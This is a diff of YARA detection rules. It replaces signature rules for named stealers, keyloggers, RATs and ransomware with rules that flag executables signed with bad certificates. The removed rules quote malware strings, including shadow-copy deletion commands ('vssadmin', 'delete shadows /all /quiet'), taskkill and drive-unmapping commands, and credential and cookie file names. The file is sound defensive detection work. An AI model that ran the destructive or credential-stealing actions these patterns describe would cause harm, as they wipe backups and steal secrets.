-		logic_hash = "d57c51f7ede28b74395e5e0fbcc5fd9247b3353330f3e549d5abf99bbd7a1b93"
+		logic_hash = "caf1c962a0f4bd6c90753c6f1f0a2acadafa5fde6c7dacd02a3ca5cc15446ab4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "uplog.tmp" fullword wide
-		$s2 = "upfile.tmp" fullword wide
-		$s3 = "%s-log-%s" fullword ascii wide
-		$s4 = "%s-down" ascii wide
-		$s5 = "%s-file-%s" fullword ascii wide
-		$s6 = "\"rundll32.exe\" \"%s\" install" fullword wide
-		$s7 = "subject=%s&data=" fullword ascii
-		$s8 = "dll-x64.dll" fullword ascii
-		$s9 = "dll-x32.dll" fullword ascii
-		$pdb1 = "\\virus-dropper\\Release\\virus-dropper.pdb" ascii
-		$pdb2 = "\\virus-init\\Release\\virus-init.pdb" ascii
+		thumbprint = "b82a7f87b7d7ccea50bba5fe8d8c1c745ebcb916"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (7 of ($s*) or (3 of ($s*) and 1 of ($pdb*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fecddacdddfaadcddcabceded" and pe.signatures[i].serial=="80:35:ed:9c:58:ea:89:55:05:b0:5f:f9:26:d4:86:bc")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Bitterrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Ca646B4275406Df639Cf603756F63D77 : FILE
 {
 	meta:
-		description = "BitterRAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cccb2102-b78a-59ce-98e6-c702c4bec4d4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "46603413-3e03-57d0-a141-1fee730de6c5"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L532-L551"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3121-L3135"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f9dec388af6ddc767f82d7de7ba47754e76058022e6e55bbafd846ca8655a03b"
+		logic_hash = "564ca7048413d6cd65371d65906132f62386410442b36b8bafeac5e09917465f"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.BitterRAT"
-
-	strings:
-		$s1 = "getfile" fullword wide
-		$s2 = "getfolder" fullword wide
-		$s3 = "winmgmts://./root/default:StdRegProv" fullword wide
-		$s4 = "winlog" fullword wide
-		$s5 = "winprt" fullword wide
-		$s6 = "c:\\intel\\" fullword ascii
-		$s7 = "AXE: #" fullword ascii
-		$s8 = "Bld: %s.%s.%s" fullword ascii
-		$s9 = "53656C656374202A2066726F6D2057696E33325F436F6D707574657253797374656D" wide nocase
-		$pdb1 = "\\28NovDwn\\Release\\28NovDwn.pdb" ascii
-		$pdb2 = "\\Shellcode\\Release\\Shellcode.pdb" ascii
+		thumbprint = "2a68cfad2d82caae48d4dcbb49aa73aaf3fe79dd"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (7 of ($*) or (4 of ($s*) and 1 of ($pdb*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SHOECORP LIMITED" and (pe.signatures[i].serial=="ca:64:6b:42:75:40:6d:f6:39:cf:60:37:56:f6:3d:77" or pe.signatures[i].serial=="00:ca:64:6b:42:75:40:6d:f6:39:cf:60:37:56:f6:3d:77"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Tjkeylogger : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E267Fdbdc16F22E8185D35C437F84C87 : FILE
 {
 	meta:
-		description = "TJKeylogger payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6aaa11b2-3734-5538-b593-f5276f3acc72"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "520e335d-4b9f-5006-959a-1510312807be"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L553-L567"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3137-L3148"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "52d98a6f5a2cfc6717b7097b4e70c1e813851222f9f06ae74be4e5703b0b0dde"
+		logic_hash = "403f0f8a65997d27494d7ac4aa99cf5ebb1471839f67b2f8b380225a0263fd67"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "TJKeyLogger" fullword ascii
-		$s2 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii
-		$s3 = "\\Passwords.txt" ascii
-		$s4 = "TJKeyLogItem" fullword ascii
-		$s5 = "TJKeyAsyncLog" fullword ascii
-		$s6 = "FM_GETDSKLST" fullword ascii
-		$s7 = "KL_GETMODE" fullword ascii
+		thumbprint = "cdf4a69402936ece82f3f9163e6cc648bcbb2680"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APOTHEKA, s.r.o." and pe.signatures[i].serial=="00:e2:67:fd:bd:c1:6f:22:e8:18:5d:35:c4:37:f8:4c:87")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_W1RAT : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Taffias : FILE
 {
 	meta:
-		description = "W1 RAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d5841bc0-97e7-575e-91f6-d264f507a8b5"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7ace9b76-104c-511a-801b-0c2d5860eaba"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L569-L585"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3150-L3161"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "84b9a2e309ed9ab0fb8343d941585356d23348683073d0a37fc7194f58a43a0e"
+		logic_hash = "dc6b65757ceb3818101c8694680d1f44af3726876bef30843cfc2cb51ec6ea02"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "/c /Ox /Fa\"%s/%s.asm\" /Fo\"%s/%s.obj\" \"%s/%s.%s\"" ascii
-		$s2 = "this->piProcInfo.hProcess" fullword ascii
-		$s3 = "index >= 0 && index < this->reg_tab->GetLen()" fullword ascii
-		$s4 = "strcpy(log_font.lfFaceName,\"%s\");" fullword ascii
-		$s5 = "WorkShop -- [%s]" fullword ascii
-		$s6 = "HeaderFile.cpp" fullword ascii
-		$s7 = "WndLog.cpp" fullword ascii
-		$s8 = "assertion fail \"%s\" at file=%s line=%d" fullword ascii
-		$s9 = "Stdin   pipe   creation   failed" fullword ascii
+		thumbprint = "88d563dccb2ffc9c5f6d6a3721ad17203768735a"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 6 of ($s*)) or ( all of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TAFFIAS" and pe.signatures[i].serial=="00")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Raccoon : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_9F2492304Fc9C93844Dea7E5D6F0Ec77 : FILE
 {
 	meta:
-		description = "Raccoon stealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "5ebef663-623c-592e-b69a-f620492f0cc1"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "73acca59-8362-5d34-b28a-71d141d3013a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L587-L606"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3163-L3174"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "258481982d20d229506f442a5a205fdc05f6ac4399f3a0665860e6529c30943b"
+		logic_hash = "9c76d5756cc79e96d194addc0e2c2c11fa4341ffa9df8f171f35df76cb9c56c0"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "inetcomm server passwords" fullword wide
-		$s2 = "content-disposition: form-data; name=\"file\"; filename=\"data.zip\"" fullword ascii
-		$s3 = ".?AVfilesystem_error@v1@filesystem@experimental@std@@" fullword ascii
-		$s4 = "CredEnumerateW" fullword ascii
-		$s5 = "%[^:]://%[^/]%[^" fullword ascii
-		$s6 = "%99[^:]://%99[^/]%99[^" fullword ascii
-		$s7 = "Login Data" wide
-		$s8 = "m_it.object_iterator != m_object->m_value.object->end()" fullword wide
-		$x1 = "endptr == token_buffer.data() + token_buffer.size()" fullword wide
-		$x2 = "\\json.hpp" wide
-		$x3 = "Microsoft_WinInet_" fullword wide
-		$x4 = "Microsoft_WinInet_*" fullword wide
+		thumbprint = "33015f23712f36e3ec310cfd1b16649abb645a98"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((3 of ($x*) and 2 of ($s*)) or (4 of ($s*) and 1 of ($x*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bbddebeea" and pe.signatures[i].serial=="9f:24:92:30:4f:c9:c9:38:44:de:a7:e5:d6:f0:ec:77")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Tefosteal : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Dca9012634E8B609884Fe9284D30Eff5 : FILE
 {
 	meta:
-		description = "Tefosteal payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "56646933-3ed3-5b77-9135-993b57603490"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f22ef616-c7f1-5036-b303-ef8ae038ec4f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L653-L674"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3176-L3189"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a350863270cbe3349f271e55d66a2ebdd6406e8d122c11071de74a774eb77ebf"
+		logic_hash = "b5d663228a27d5dae46f9f03bd04833b129fc453852cb9cb9fe43e405cdcecca"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Tefosteal"
-
-	strings:
-		$s1 = "netsh wlan show networks mode=bssid" nocase fullword wide
-		$s2 = "LoginCredentialService.GetLoginCredentials$" ascii
-		$s3 = "DefaultLoginCredentials.LoginEventUsrPw$" ascii
-		$s4 = "SEC_E_NO_KERB_KEY" wide
-		$s5 = "TList<System.Zip.TZipHeader>." ascii
-		$s6 = "_Password.txt" fullword wide nocase
-		$s7 = "_Cookies.txt" fullword wide nocase
-		$f1 = "\\InfoPC\\BSSID.txt" wide
-		$f2 = "\\Files\\Telegram\\" wide
-		$f3 = "\\InfoPC\\Screenshot.png" wide
-		$f4 = "\\InfoPC\\Systeminfo.txt" wide
-		$f5 = "\\Steam\\config" wide
-		$f6 = "\\delete.vbs" wide
+		thumbprint = "60971c18c7efb4a294f1d8ee802ff3d581c77834"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of ($s*) and 2 of ($f*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bebaeefaeba" and (pe.signatures[i].serial=="dc:a9:01:26:34:e8:b6:09:88:4f:e9:28:4d:30:ef:f5" or pe.signatures[i].serial=="00:dc:a9:01:26:34:e8:b6:09:88:4f:e9:28:4d:30:ef:f5"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Cryptostealergo : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_781Ec65C3E38392D4C2F9E7F55F5C424 : FILE
 {
 	meta:
-		description = "CryptoStealerGo payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "83886aeb-af7e-564c-989a-fb7d955814e2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d056fb18-e641-50bb-af86-ea124203f16c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L676-L692"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3191-L3202"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0050be7522e7d89cb9688e63fdca11d24baa74aa858e8c19ee7b4658518536b6"
+		logic_hash = "00b01a874e29fd2e25200f5e50c7121c3cc4bca614c31dd149d6197088292b35"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Go build ID: \"" ascii
-		$s2 = "file_upload.go" ascii
-		$s3 = "grequests.FileUpload" ascii
-		$s4 = "runtime.newproc" ascii
-		$s5 = "credit_cards" ascii
-		$s6 = "zip.(*fileWriter).Write" ascii
-		$s7 = "autofill_" ascii
-		$s8 = "XFxVc2VyIERhdGFcXA==" ascii
-		$s9 = "XFxBcHBEYXRhXFxMb2NhbFxc" ascii
+		thumbprint = "5d20e8f899c7e48a0269c2b504607632ba833e40"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 8 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Facacafbfddbdbfad" and pe.signatures[i].serial=="78:1e:c6:5c:3e:38:39:2d:4c:2f:9e:7f:55:f5:c4:24")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_M00Nd3V : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Bd1E93D5787A737Eef930C70986D2A69 : FILE
 {
 	meta:
-		description = "M00nD3v keylogger payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4000f55d-e072-50b6-b6ee-72cefc0ec53f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "3b5ec355-9d68-5285-bda0-ddd379ad1cf8"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L694-L715"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3204-L3215"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "68a0888da3b114dc895fe18a3d03b2b88d140fbf82b888f7a031b9364d01aabf"
+		logic_hash = "0332d05f0f53ad22516fd41cb10238ad0b92ef49011e9e71a82fa2da1de5e953"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "M00nD3v Stub" ascii wide
-		$s2 = "M00nD3v{0}{1} Logs{0}{2} \\ {3}{0}{0}{4}" fullword wide
-		$s3 = "Anti-Keylogger Elite" wide
-		$s4 = "/C TASKKILL /F /IM" wide
-		$s5 = "echo.>{0}:Zone.Identifier" fullword wide
-		$s6 = "> Nul & Del \"{0}\" & start \"\" \"{1}.exe\"" wide
-		$s7 = "> Nul & start \"\" \"{1}.exe\"" wide
-		$s8 = "Stealer" fullword wide
-		$s9 = "{0}{0}++++++++++++{1} {2}++++++++++++{0}{0}" wide
-		$s10 = "{4}Application: {3}{4}URL: {0}{4}Username: {1}{4}Password: {2}{4}" wide
-		$s11 = "encrypted_key\":\"(?<Key>.+?)\"" wide
-		$s12 = "Botkiller" fullword ascii
-		$s13 = "AVKiller" fullword ascii
-		$s14 = "get_pnlPawns" fullword ascii
+		thumbprint = "921e5d7f9f05272b566533393d7194ea9227e582"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 6 of them ) or (9 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cdefedddbdedbcbfffbeadb" and pe.signatures[i].serial=="bd:1e:93:d5:78:7a:73:7e:ef:93:0c:70:98:6d:2a:69")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Vssdestroy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_B0009Bb062F52Eb6001Ba79606De243D : FILE
 {
 	meta:
-		description = "VSSDestroy/Matrix ransomware payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "734ece56-b993-5b44-ae15-f673fabfe8ad"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "41293f0b-604a-5993-8b05-9ca639828eec"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L717-L740"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3217-L3228"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "24bfd32580f784440252d629a7ab86b84a570ded34409940616be2a89bf73088"
+		logic_hash = "111a08d62f483daf23220e7044cc291b6ea6922746d48934f72a892b7dfd762b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort_sid = "920008-920009"
-		clamav_sig = "MALWARE.Win.Ransomware.VSSDestroy"
-
-	strings:
-		$o1 = "[SHARESSCAN]" wide
-		$o2 = "[LDRIVESSCAN]" wide
-		$o3 = "[LOGSAVED]" wide
-		$o4 = "[LPROGRESS]" wide
-		$o5 = "[FINISHSAVED]" wide
-		$o6 = "[ALL_LOCAL_KID]" wide
-		$o7 = "[DIRSCAN" wide
-		$o8 = "[GENKEY]" wide
-		$s1 = "\\cmd.exe" nocase wide
-		$s2 = "/C powershell \"" nocase wide
-		$s3 = "%COMPUTERNAME%" wide
-		$s4 = "%USERNAME%" wide
-		$s5 = "Error loading Socket interface (ws2_32.dll)!" wide
-		$s6 = "Old file list dump found. Want to load it? (y/n):" fullword wide
+		thumbprint = "c89f06937d24b7f13be5edba5e0e2f4e05bc9b13"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 4 of ($o*) and 3 of ($s*)) or (5 of ($o*) and 4 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fbfdddcfabc" and pe.signatures[i].serial=="b0:00:9b:b0:62:f5:2e:b6:00:1b:a7:96:06:de:24:3d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Goldenaxe : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_294E7A2Ccfc28Ed02843Ecff25F2Ac98 : FILE
 {
 	meta:
-		description = "GoldenAxe ransomware payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "23874106-dbbb-5cb2-b61a-1661d8e2d868"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "ae3c0758-7863-54eb-a94f-3c86d5d34d21"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L742-L763"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3230-L3241"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6dfd88ce65acdfed4749e3b817b317c3c514ea42f892a7f5f95853c148507918"
+		logic_hash = "75c3093978875c7e523525a3b64bf985139359d9696fdb9dbd7db3e915043194"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.GoldenAxe"
-
-	strings:
-		$s1 = "Go build ID: " ascii
-		$s2 = "taskkill.exe" ascii
-		$s3 = "cmd.exe" ascii
-		$s4 = "Speak.Speak" ascii
-		$s5 = "CLNTSRVRnull" ascii
-		$s6 = "-----END" ascii
-		$s7 = "-----BEGIN" ascii
-		$s8 = ".EncryptFile" ascii
-		$g1 = "GoldenAxe/Utils." ascii
-		$g2 = "GoldenAxe/Cryptography." ascii
-		$g3 = "GoldenAxe/Walker." ascii
-		$g4 = "C:/Users/alpha/go/src/GoldenAxe/" ascii
-		$g5 = "'Golden Axe ransomware'" ascii
+		thumbprint = "a57a2de9b04a80e9290df865c0abd3b467318144"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($g*) and 1 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eadbaadbdcecafdfafbe" and pe.signatures[i].serial=="29:4e:7a:2c:cf:c2:8e:d0:28:43:ec:ff:25:f2:ac:98")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Robbinhood : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_A61B5590C2D8Dc70A31F8Ea78Cda4353 : FILE
 {
 	meta:
-		description = "Robbinhood ransomware payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a5066a22-3c87-5e9f-a94f-5a44af2f96fd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0a22b3a5-cc61-5aec-9fc7-bbd03cd4ab03"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L765-L787"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3243-L3254"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f1c4226ed5cb1583418d5ef0efc2c2b5bc3cfe7f148f359c5d432fd660331a46"
+		logic_hash = "7d57f5cb2691d8dfb5f5ef63f7bfb4290f0bd8d990c61fe0655e35c1b3f554f0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.Robbinhood"
-
-	strings:
-		$go = "Go build ID:" ascii
-		$cmd1 = "cmd.exe /c" ascii
-		$cmd2 = "net use * /DELETE" nocase ascii
-		$cmd3 = "sc.exe stop" ascii
-		$cmd4 = "vssadmin resize shadowstorage" nocase ascii
-		$s1 = /Skipping\s(file|dir)/ ascii
-		$s2 = "Encrypt[ERR] GET Size:" ascii
-		$s3 = ".taskkilltasklistunknown(" ascii
-		$s4 = ".sysvssadmin.exewevtutil.exe MB released" ascii
-		$s5 = ".sysvssadmin.exewevtutil.exewinlogin.exewinlogon.exe MB released" ascii
-		$s6 = ".enc_robbinhood" ascii
-		$s7 = "c:\\windows\\temp\\pub.key" nocase ascii
-		$s8 = "main.CoolMaker" ascii
-		$s9 = "/valery/go/src/oldboy/" ascii
+		thumbprint = "d1f77736e8594e026f67950ca2bf422bb12abc3a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ($go and 1 of ($cmd*) and 3 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bdddcfaebffbfdcabaffe" and pe.signatures[i].serial=="a6:1b:55:90:c2:d8:dc:70:a3:1f:8e:a7:8c:da:43:53")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Getcrypt : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_21C9A6Daff942F2Db6A0614D : FILE
 {
 	meta:
-		description = "GetCrypt ransomware payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "fb6db807-372f-59e6-96c6-54dd4ece336d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e09476f7-d48d-58e5-aeca-fffacf569243"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L789-L825"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3256-L3267"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fd7ee98757c3ac1f2b2a4dd9041c78d33273d7a7d596c3d99c6b8d79988f29f1"
+		logic_hash = "c466a829d8141ba40187309559f62af73ea47e325eb95ef4c634bac60167788b"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav_sig1 = "MALWARE_Win.Ransomware.GetCrypt-1"
-		clamav_sig2 = "MALWARE_Win.Ransomware.GetCrypt-2"
-
-	strings:
-		$x1 = "delete shadows /all /quiet" wide
-		$x2 = "C:\\Windows\\System32\\svchost.exe" fullword wide
-		$x3 = "desk.bmp" fullword wide
-		$x4 = ":\\Boot" fullword wide
-		$x5 = "\\encrypted_key.bin" fullword wide
-		$x6 = "vssadmin.exe" fullword wide
-		$x7 = ":\\Recovery" fullword wide
-		$s1 = "CryptEncrypt" fullword ascii
-		$s2 = "NtWow64ReadVirtualMemory64" fullword ascii
-		$s3 = "MPR.dll" fullword ascii
-		$s4 = "%key%" fullword ascii
-		$s5 = "CryptDestroyKey" fullword ascii
-		$s6 = "ntdll.dll" fullword ascii
-		$s7 = "WNetCancelConnection2W" fullword ascii
-		$s8 = ".%c%c%c%c" fullword wide
-		$s10 = { 43 72 79 70 74 49 6d 70 6f 72 74 4b 65 79 00 00
-                 cb 00 43 72 79 70 74 45 6e 63 72 79 70 74 00 00
-                 c1 00 43 72 79 70 74 41 63 71 75 69 72 65 43 6f
-                 6e 74 65 78 74 41 00 00 c8 00 43 72 79 70 74 44
-                 65 73 74 72 6f 79 4b 65 79 00 d2 00 43 72 79 70
-                 74 47 65 6e 52 61 6e 64 6f 6d 00 00 c2 00 43 72
-                 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78
-                 74 57 00 00 41 44 56 41 50 49 33 32 2e 64 6c 6c
-                 00 00 b5 01 53 68 65 6c 6c 45 78 65 63 75 74 65
-                 45 78 57 00 53 48 45 4c 4c 33 32 2e 64 6c 6c 00 }
+		thumbprint = "7dd9acb2ef0402883c65901ebbafd06e5293d391"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($x*) or 8 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ledger SAS" and pe.signatures[i].serial=="21:c9:a6:da:ff:94:2f:2d:b6:a0:61:4d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Joego : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1F55Ae3Fca38827Cde6Cc7Ca1C0D2731 : FILE
 {
 	meta:
-		description = "JoeGo ransomware payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "23d38bcd-e66d-5ff1-ad6a-3e6432d83562"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8a32fa5d-671e-5012-9de1-6afc21751b94"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L827-L847"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3269-L3280"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3ddf3506aefb3cd1845f9daa689848a02a2422ca98c5c984bc918cc7ea2b2677"
